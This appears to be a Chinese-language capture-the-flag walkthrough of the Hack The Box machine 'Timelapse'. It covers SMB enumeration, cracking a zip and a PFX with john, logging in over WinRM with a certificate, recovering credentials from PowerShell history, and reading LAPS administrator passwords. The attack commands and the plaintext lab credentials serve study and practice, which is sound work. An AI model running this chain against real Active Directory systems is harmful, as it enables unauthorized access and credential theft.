Timelapse
前言
htb上的一台easy难度的windows靶机
信息搜集
TCP扫描
sudo nmap -sT --min-rate 10000 -p- 10.129.29.219 -oA ports

大概率是域控,扫出来的端口有点少,可能是网络问题,尽量多扫两遍,第二遍就多出来5986winrm服务

第三次扫描

提取开放端口
cat ports.nmap | grep open | awk -F '/' '{print $1}' | paste -sd ','

TCP详细扫描
sudo nmap -sT -sV -sC -O -p53,88,135,139,389,445,593,636,3268,3269,5986,9389,49667,49673,49674,49695,49898 10.129.29.219 -oA details


UDP扫描
sudo nmap -sU -p- 10.129.29.219 -oA UDP

漏洞脚本扫描
sudo nmap --script=vuln -p53,88,135,139,389,445,593,636,3268,3269,5986,9389,49667,49673,49674,49695,49898 10.129.227.113 -o vuln

漏洞探测
SMB探测
先用smbmap看一下里面的内容和权限
smbmap -H 10.129.227.113 -u guest

也可以用smbclient探测

解释一下
| 共享名 | 权限 | 含义 |
|---|---|---|
| ADMIN$ | NO ACCESS | 远程管理共享(存放系统目录 C:\Windows),需要管理员权限才能读写,当前账号没资格访问 |
| C$ | NO ACCESS | C 盘默认管理共享,域管理员 / 本地管理员才能打开,普通用户禁止访问 |
| IPC$ | NO ACCESS | 进程间管道共享,用于远程执行命令、WMI、远程注册表,无权限则无法横向执行命令 |
| NETLOGON | NO ACCESS | 域控登录脚本共享,普通用户无权读取 |
| Shares | READ ONLY | 唯一能访问的资源,这个自定义共享文件夹仅允许只读,不能上传、修改、删除文件 |
| SYSVOL | NO ACCESS | 域控组策略、域配置共享,普通用户无权限 |
| 可以读共享文件 |
用smbclient连接
smbclient //10.129.227.113/Shares


下载所有文件
get winrm_backup.zip
mget LAPS*
解密压缩包
压缩包有密码,用john爆破一下

先转成hash
zip2john winrm_backup.zip > ziphash.txt
在用rockyou爆破

得到了legacyy_dev_auth.pfx这个文件
.pfx(全称 Personal Information Exchange),是 Windows 标准证书私钥打包文件,本质是二进制加密容器。
- 内部打包三样东西:
- SSL/TLS 公钥证书(cer/crt)
- 对应的 RSA/ECC 私钥
- 可选中间证书链
- 配套后缀
.p12:PFX = PKCS#12,.p12是标准名称,.pfx是微软 Windows 专属后缀,二者格式完全互通,可以互相改名使用。 - 文件默认加密:打开 / 导出时必须设置密码,没有密码无法提取私钥。
导出私钥需要密码

依旧用john爆破

passphrase随便填几个数就行

也可以这样导出私钥,后面就不用输密码了
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -nodes -out nopass.key
提取证书
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out 1.crt
获得立足点
既然拿到了私钥和证书,并且靶机开放了5986端口(HTTPS TLS 加密,要加参数-S),可以直接连接winrm
注:一般winrm有两种登录方式:账号密码登录或TLS证书免密登录
evil-winrm -i 10.129.29.219 -S -k private.key -c 1.crt
输入前面设置的passphrase,成功拿到shell

拿到userflag

提权
先看一下当前用户的权限


没什么权限可以利用的
查看powershell历史记录
type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHo st_history.txt

其中暴露了svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV这组凭据
继续用evil-winrm登录
evil-winrm -i 10.129.29.219 -S -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'



权限也不大,但属于LAPS_Readers组,可以读取 LAPS。
LAPS 是 Local Administrator Password Solution(本地管理员密码解决方案)
加入该组的用户,拥有 AD 内所有计算机对象 ms-Mcs-AdmPwd 属性读取权限
ms-mcs-admpwd 可以是是加密的也可以不加密,evil-winrm 既⽀持 hash 也⽀持明⽂密码
- 可以 LDAP 查询域内每一台主机的本地管理员明文密码;
- 密码对应目标机器本地内置管理员(默认 Administrator);
- 拿到本地管理员密码,可本地提权、dump 凭证、持久化、横向移动。
查看域控名
net group "Domain Controllers" /domain

获取管理员密码
Get-ADComputer DC01 -property 'ms-mcs-admpwd'

登录
evil-winrm -i 10.129.29.219 -S -u administrator -p '0/70&}4f1(e3KoO#+@$[P+q4'

在TRX用户的桌面找到rootflag


浙公网安备 33010602011771号